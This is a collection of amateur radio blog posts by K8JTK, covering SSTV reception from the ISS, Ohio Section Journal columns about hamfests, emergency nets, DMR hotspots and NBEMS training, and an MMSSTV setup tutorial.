If you purchased an early Tytera MD-2017 DMR dual-band radio and the antenna connector broke, contact your dealer. This appears to be a first-run issue and TYT has shipped replacement connector parts to their dealers. Replacing the connector requires opening the radio and soldering. If you’re not comfortable, ask if the dealer will do the work or swap the radio.

Thanks for reading, 73, and Go Tribe!… de Jeff – K8JTK

SSTV Transmissions from the International Space Station – July 2017 edition

ARISS to Celebrate 20th Anniversary with SSTV Event recently concluded. The event was supposed to run two days but ran close to four days.  ARISS Posts Descriptions of SSTV Images Transmitted from ISS.  Check the ISS tag for my other ISS SSTV posts.

Station setup: MP Antennas Classic Mobile NMO Antenna – This is a local company in Cleveland and were reviewed in QST. Been using their antennas for a long time with great success. Since the antenna is multi-polarized (the MP in the company name), it is supposed to be a good substitution for receiving satellite transmissions without a directional antenna and not worrying about Doppler Shift (which needs to be accounted for in some cases). The height is about 15 feet.

The antenna was connected to my ICOM IC-7000 with DSP settings turned off on 145.800 MHz FM. Used this radio only because my SignaLink USB is connected to it and the one I use for digital operation on all bands. MMSSTV is the Slow-Scan TV program I use.

I have tutorials available to help get your station setup and getting started with MMSSTV to receive images from the ISS.

I received 34 images total from my location near Cleveland (EN91bl).

2017-07-21 0259 UTC
2017-07-21 0435 UTC
2017-07-21 0612 UTC
2017-07-21 0749 UTC
2017-07-21 0753 UTC
2017-07-21 0929 UTC
2017-07-21 1105 UTC
2017-07-22 0341 UTC
2017-07-22 0345 UTC
2017-07-22 0520 UTC
2017-07-22 0656 UTC
2017-07-22 0700 UTC
2017-07-22 0833 UTC
2017-07-22 0836 UTC
2017-07-22 1011 UTC
2017-07-23 0113 UTC
2017-07-23 0117 UTC
2017-07-23 0249 UTC
2017-07-23 0254 UTC
2017-07-23 0426 UTC
2017-07-23 0430 UTC
2017-07-23 0605 UTC
2017-07-23 0741 UTC
2017-07-23 0918 UTC
2017-07-23 0922 UTC
2017-07-23 1055 UTC
2017-07-24 0158 UTC
2017-07-24 0334 UTC
2017-07-24 0338 UTC
2017-07-24 0511 UTC
2017-07-24 0515 UTC
2017-07-24 0650 UTC
2017-07-24 0826 UTC
2017-07-24 0831 UTC

Ohio Section Journal – The Technical Coordinator – October 2016 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Scott – N8SY and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Scott has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at: http://n8sy2.blogspot.com/2016/10/october-edition-of-ohio-section-journal.html

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey Gang,

Great to see everyone at the Cleveland Hamfest on September 25th. There was not a cloud in the sky. As a result, I think more people were out in the flea market selling their wares, which is good. The inside vendors just weren’t there as in the past. Last couple years they had a large vendor selling Raspberry Pi computers and accessories. They were absent this year. Many clubs and organizations came out and showed their support by setting up tables and selling various junk which others purchased as treasures.

In an effort to promote Slow-Scan TV, digital modes, and the LEARA digital net, I put together a presentation for The Lake Erie Amateur Radio Association on the topic. In researching the history, I found and interesting connection to Ohio. The developer of SSTV, Copthorne Macdonald, specifically mentioned Fair Radio Sales in Lima, Ohio as a place he purchased surplus CRTs and components. That was a nice surprise! Slow-Scan was used a lot in early space exploration as there was no effective way to transmit images back to ground stations in the late 1950s early 1960s. The concept of satellites in space as we know them today was just starting to come around about the same time.

In talking about SSTV modes and properties, it’s great to have some technicals but it doesn’t mean much if the audience can’t relate – especially if they have not operated that mode. This applies to any topic. One idea I included in the presentation was image comparisons. I took a test pattern type source image and ran it through the loopback feature in MMSSTV. This eliminated any RF variability. The source image was compared to the received image in terms of quality and clarity of the mode only. For one comparison I did use RF. This was to demonstrate the acoustic interface (where you hold the radio to your computer). Point being that it is possible to operate digital modes using an acoustic interface but it’s clearly not the best option. Having an interface between the PC and radio is the best option for digital operations.

scottie_1The presentation was geared more toward operating SSTV in an informal environment. I did include a typical exchange and places to look for SSTV activity on the HF bands. Lastly as part of the meeting, we did Slow Scan TV live – a live demonstration at the meeting! Well known Ham Radio educator Gordon West – WB6NOA promotes the idea of doing things live and hands on. I encouraged those who wanted to play along to bring their laptops and radios. How-to configure and use MMSSTV was shown. Then pictures were exchanged. This showed the audience what the application looks like while sending and receiving pictures. Also the Android SSTV application was available and demoed. Thanks to Joel K8SHB and Carl KB8VXE for helping out. The presentation is available on my site: http://www.k8jtk.org/2016/09/27/sstv-images-via-radio-presentations/

The following weekend on October 1st was the State Emergency Test (SET). I had been asked to participate as an HF digital station by Cuyahoga County Assistant Emergency Coordinator (AEC) and Technical Specialist Bob K8MD. I had checked into the Ohio Digital Emergency Net (OHDEN) over the summer. Watching and learning their procedures during the practice nets, I had knowledge of how to check in and pass traffic. This goes back to something I mentioned last month: regularly participating in nets and public service events not only shows you’re active but you’ll be familiar with the responsibilities you’ll be assigned.

That’s about it for this month. I’ll be working to get projects wrapped up and take care of end of the year requirements for clubs in the area.

Thanks for reading and 73… de Jeff – K8JTK

SSTV – Images via Radio presentations

Slow-Scan TV presentation.

Framework

The framework I chose to use for the presentation slides is called reveal.js. It is an HTML framework meaning it will run in any HTML 5 capable browser. Looks a little better than a PowerPoint presentation.

Navigation

Useful navigation keys in the presentation. In addition to navigating with the keys below, you can swipe (tables/smartphones) or use the navigation arrows on screen in the lower right.

Toggle full screen: press [F11].

Advance to the next slide: press [n] or [SPACEBAR].

Go back to the previous slide: press [p] or press and hold the [SHIFT] key while pressing the [SPACEBAR].

Display presentation overview: [ESC] then use the arrow keys or mouse to select a slide. [ESC] again will exit overview mode.

Links

Clickable links are colored in blue text.

Presentations

Three variations are available: presentation version is viewable in a browser. Printable version for printing or saving in a different format (Chrome, Chromium, and variants compatible only). Finally a PDF version.

They may take some time to load because I left original images untouched and some were a couple MB in file size.

Slides

The presentation is about 45 minutes in length.

Presentation version
Printable version
PDF version

This presentation was given at the following meetings:
Lake Erie Amateur Radio Association on 9/27/2016.
Geauga Amateur Radio Association on 9/25/2017.

Ohio Section Journal – The Technical Coordinator – September 2016 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Scott – N8SY and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Scott has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at: http://n8sy2.blogspot.com/2016/09/september-edition-of-ohio-section.html

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey Gang,
I don’t have to complain to you about the hot and extremely humid weather we’ve had because all of you are living it too. Storm season arrived later in Northern Ohio. I wrote last month how my city got hammered by some storms. It continued with a tornado outbreak in Indiana on August 24th. Friend and regular checkin to the Ham Nation D-STAR net luckily sustained no damage. However, his neighbors a quarter-mile to the north and south had their homes destroyed. The line of storms that moved through Indiana spawning many tornados prompted the National Weather Service in Cleveland to staff the Skywarn desk. I was one of the operators at NWS that night. Though the storms significantly weakened by the time they reached the Toledo area, there was one confirmed EF0 tornado in Pemberville (Wood County – my old stomping grounds). It touched down along route 6 and dissipated quickly but not before removing sheet metal roofing from nearby buildings. No injuries or fatalities.

Public service season is quickly wrapping up for most of the section. Technical Specialist David KD8TWG ran much of the five-day public service event at the Great Geauga County Fair. Being from Cuyahoga county (and the far west end at that), I was a little skeptical. ‘OK the GREAT Geauga Fair.’ But it really was a great fair. It’s the biggest one I’ve attended. There’s a ton of people, displays, awards, animals, events and acts, and yes people really do stand in line 45 minutes for a milkshake. This was confirmed in a casual conversation between fair-goers. As far as ham radio there is a great mixture of technologies including Ohio MARCS, 800 MHz, APRS, Mesh, VOIP, and a portable repeater for their communication needs. It was quite the elaborate setup and really is a great example of utilizing technology to suit communication needs.

The public service season concluded in Cleveland on the 11th with a half-marathon called “River Run.” It was great weather and there wasn’t a single ambulance call. A lot of the ham radio event coordinators have to beg, twist arms, and make many phone calls to get people to come out and help. Please volunteer and help out with these events. You’re there to make sure everyone has a good, safe time during the event. Your presence also gets ham radio out in front of the public and builds relationships with event organizers and county officials. If you’re active in helping out with public service events, you’re more likely to be called in the case of an actual situation.

Ham Nation episode 264 (https://twit.tv/shows/ham-nation/episodes/264) was an episode that featured an all YL cast. Everyone on the show that night was a young lady. The episode highlighted female participation in the hobby and pointed out that ham radio is not made up entirely of OMs. Additionally, Dr. Skov (who is not licensed … yet) gave a detailed tutorial on ionospheric conditions and how space weather effects propagation on the HF bands. She talks about the atmospheric layers, electron density, how those layers change during the day vs night vs gray line, the layers which reflect signals, Kp and X-Ray Flux indices. Her tutorial would have really helped me on those licensing test questions! It starts about 44 minutes into the episode – with some interesting analogies. I will leave it at that!

I’ve been spending a ton of time learning more about the DV4Mini dv4miniand DMR in particular. The DV4Mini is a USB hotspot device about the size of a large USB memory stick. It has the ability to “speak” several different digital modes: D-STAR, DMR, Fusion, P25, and dPMR/NXDN/IDAS. A hotspot is a device that provides connectivity. In this case, to different digital networks from your home PC or Raspberry Pi with a low powered transmitter (usually under 10mW). A misconception I hear a lot and have been asked about: yes you do need a radio for each digital mode you want to operate. To connect to D-STAR reflectors you’ll need the hotspot device and a D-STAR capable radio. Similarly, for DMR talk groups, you’ll need the hotspot and a DMR capable radio. I’ve been hanging out a lot on the Ohio Statewide talk group (3139) and USA Nationwide (3100), I even ran into our own Section Manager on the network!

The more time I spend with the DV4Mini the more issues I find with it. It’s a great concept to have one device to work 5 different modes. The DV4M has a lot of issues that I hope the developers correct related to its performance. I actually bricked mine updating it to the latest firmware. Had to crack the case and put into bootloader mode to re-flash the firmware. The update took the second time. This happened to another user too. Comparing audio quality to repeaters on the network and listening to BrandMeister Hoseline, the audio from the device sounds bad most times and terrible the rest. The direct calling feature doesn’t seem to work. A buddy of mine found the developer for the BrandMeister extended routing feature (DV4MF2) completely ceased development as of September 9th. It will be interesting to see why that happened and if that means anything for the future of the device. There are other hotspot devices out there and I hope to find out more about them soon.

David KD8TWG and his presentation on APRS at the Lake Erie Amateur Radio Association (LEARA) meeting was fantastic. We had a lot of fun with APRS on our smartphones and radios sending messages back and forth.

Thanks to the Cuyahoga Amateur Radio Society (CARS) for having me at their meeting on September 13th. I presented my introduction to the Raspberry Pi computer. Good discussion ensued in both cases on new technology hams can utilize.

Coming up, I will be at the Cleveland Hamfest on the 25th. Two days later I’m giving a presentation at the LEARA meeting on Slow Scan TV. If you’re in the Cleveland area and want to see SSTV in action, stop by the meeting on the 27th. More details will be available at leara.org as the meeting date approaches.

Congratulations to Scott N8SY on being reelected as Section Manager for the Ohio Section. Give him a pat on the back or buy him a beer when you see him for all his hard work!

Thanks for reading and 73… de Jeff – K8JTK

SSTV Transmissions from the International Space Station – April 2016 edition

An ARISS Commemorative SSTV Event Set for April 11-14 recently concluded. This event was longer than usual and I received alot of pictures. Check the ISS tag for my other ISS SSTV posts.

Station setup: MP Antennas Classic Mobile NMO Antenna – This is a local company in Cleveland and were reviewed in QST. Been using their antennas for a long time with great success. Since the antenna is multi-polarized (the MP in the company name), it is supposed to be a good substitution for receiving satellite transmissions without a directional antenna and not worrying about Doppler Shift (which needs to be accounted for in some cases). The height is about 15 feet.

The antenna was connected to my ICOM IC-7000 with DSP settings turned off on 145.800 MHz FM. Used this radio only because my SignaLink USB is connected to it and the one I use for digital operation on all bands. MMSSTV is the Slow-Scan TV program I use.

I have tutorials available to help get your station setup and getting started with MMSSTV to receive images from the ISS.

I received 14 images total from my location near Cleveland (EN91bl).

SSTV-Transmissions-from-the-International-Space-Station-2016-04-12-1959
2016-04-12 1959 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-12-2004
2016-04-12 2004 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-12-2138
2016-04-12 2138 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-12-2315
2016-04-12 2315 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-13-0051
2016-04-13 0051 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-13-0230
2016-04-13 0230 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-13-0404
2016-04-13 0404 UTC
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2016-04-13 1907 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-13-2046
2016-04-13 2046 UTC
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2016-04-13-2222 UTC
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2016-04-14 0000 UTC
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2016-04-14 0139 UTC
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2016-04-14 0312 UTC
SSTV-Transmissions-from-the-International-Space-Station-2016-04-15-1859
2016-04-15 1859 UTC

Ohio Section Journal – The Technical Coordinator – November 2015 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Scott – N8SY and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Scott has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox.  Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at: http://n8sy2.blogspot.com/2015/11/november-edition-of-ohio-section-journal.html

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey Gang,

During the State Emergency Test (SET), the Medina ARES group had some issues getting Fldigi working correctly. Not because they didn’t know what they were doing but because when you use Fldigi once or twice a year, you forget what to do. I got an email wanting to know if I would develop a training session on NBEMS standards using Flgidi and Flmsg.

NBEMS stands for Narrow Band Emergency Messaging System (or Software, depending who you ask). It is a set of standards developed to define passing email and text-based traffic over Amateur Radio. We have many digital modes available to us. The VHF/UHF standard is MT63. MT63 is a sufficiently robust mode to deal with background noise and poor band conditions. This doesn’t mean you can have a party at your station and still send MT63 messages but it does well with ambient noise. In contrast, HF NBEMS uses Olivia.

This request was right up my alley as I love to operate digital, educate other hams, and help them get on the air. Much of my time this month was dedicated to putting together a presentation covering: digital communication, use case in Emcomm situations, interfacing options, talking about the Fldigi and Flmsg programs used, setting them up, and workflow.

We though this training might be useful to the section so we invited the leadership. Stan N8BHL and Scott N8SY came. There were County Emergency Coordinators (ECs) who were also in attendance. No pressure. We had a lot of people who wanted to learn about NBEMS, Fldigi, and the capabilities we have. After the presentation, we did hands-on demonstrations with Dave NF8O, Bob K8MD, and Fred K8FH as instructors and transmitting stations so students could see transmitting and receiving all in one place. A lot of great questions and discussion was had. Thank you to the instructors and everyone for coming out! The presentation is available: http://www.k8jtk.org/2015/11/10/vhfuhf-nbems-an-introduction-using-fldigi-and-flmsg-presentations/.

DoboyOne of my points during the presentation was always practice with these technologies BEFORE you need use them. Do a class for beginners. Have the students bring their setup –laptops, go-boxes, radio interfaces, and radios. Find some space to hold the class –EOC/EMA building, restaurant, or library. Then walk through the whole nine yards –installing the applications, setting up Windows audio, setting up the applications, and demonstrate the various tasks they would need to perform. Additional instructors who can assist students or send example transmissions (prepare these ahead of time) should be available. Have the students participate by transmitting messages. This will get them more comfortable and it’s easier to troubleshoot on-site than over-the-air. Make plans for some on-the-air meetings to practice ahead of a test or drill. Meet for an hour or so for a couple weeks until everyone is comfortable.

In Cleveland on Thursday nights, I assist with the LEARA Digital Practice Net on the 146.880/R at 9PM (you don’t have to be a member to participate). The net will operate Fldigi for a number of weeks and switch to SSTV for a time. Our net even ran a simulation drill with ICS forms and everything! Turned out to be a HUGE hit. I wrote up some tutorials for our net. They include: getting your radio interface setup with optimal settings, how to use MMSSTV, Fldigi, Flmsg, and Flwrap. The Fldigi suite tutorials are mostly written to FM NBEMS standards. Links are at the end of this article.

signalinkThe OHDEN (Ohio Digital Emergency Net) is on Tuesdays at 8:00pm. 3.585 USB. The net uses OLIVIA 8/500 with PSK31 as an alternate. They do not run voice on this net which might be unusual for some. All checkins and announcements are done using Olivia. More info: www.ohden.org

I encourage groups throughout the Section to start their own digital practice nets on FM, HF, or both! The tutorials are available to modify to fit your net. These are great opportunities to help hams become familiar and knowledgeable about their digital equipment. Do make sure you obtain permission from the repeater Trustee if you plan to use any repeater. If you do have a digital practice net that originates from the Ohio Section, let me know and I’ll put plug in the future.

Earlier, I mentioned Bob K8MD. Bob is the latest addition to the Technical Specialists. Welcome! He has a lot of experience with networking and has been utilizing MESH. Ottawa County is certainly aware of this as he helped their EMA build out a VOIP (Voice over Internet Protocol) system to use during their incidents.

Tutorials:
Sound card setup: http://www.k8jtk.org/2015/04/16/radio-interface-setup-for-getting-started-with-ham-radio-sound-card-digital-modes/

Fldigi, Flmsg, Flwrap: http://www.k8jtk.org/2015/04/16/getting-started-with-fldigi-including-flmsg-and-flwrap/

MMSSTV: http://www.k8jtk.org/2015/04/16/getting-started-with-mmsstv/

Thanks for reading

73… de Jeff – K8JTK

Getting Started with MMSSTV

Table of Contents

Introduction – page 1

Download and installation – page 2

Configuration – page 3

RX – page 4
-Logging

History – page 5
-Saving images

TX – page 6
-Modes
-Loading images
-Picture clipper
-Transmitting an image from s.pix
-Transmit loaded image

Template editing- page 7

Introduction

This document will demonstrate installation, setup, and basic use of MMSSTV. MMSSTV stands for Makoto Mori (JE3HHT, creator) Slow Scan TV. It has been the defacto standard SSTV application for many years.

This is written with the beginner in mind and many concepts outlined step-by-step. It will provide direction for further experimentation on your own or on the net and direction for troubleshooting.  For SignaLink and audio setup, visit the Radio Interface Setup post.

Prepared for The Lake Erie Amateur Radio Association’s Digital Net (http://www.leara.org/).

Program versions

Program versions used in this document.

Windows 7 – 64 bit
MMSSTV 1.13A – only available on the Windows platform.

Resources

http://en.wikipedia.org/wiki/Slow-scan_television – Wikipedia, history and current systems.

http://hamsoft.ca/pages/mmsstv.php – MMSSTV homepage, sample audio files (to route through the Windows audio system), and help files.

http://www.wb9kmw.com/WB9KMW/sstv_files/tutorial/SSTV_tutorial.pdf – SSTV for beginners. WB9KMW answered some questions with MMSSTV. I’ll plug his introduction. His website has a collection of HF SSTV receivers that can be used to check reception and propagation.

Calibration

Sound card calibration is important in SSTV.  See the “Sound card clock calibration” section in the “Radio Interface Setup – For getting started with Ham Radio Sound Card digital modes” document.  MMSSTV methods: http://www.wb9kmw.com/WB9KMW/sstv_files/tutorial/That_Pesky_Slant.pdf. I prefer this method: http://www.wb9kmw.com/WB9KMW/sstv_files/tutorial/That_Pesky_Slant_WWV_Alternative.pdf.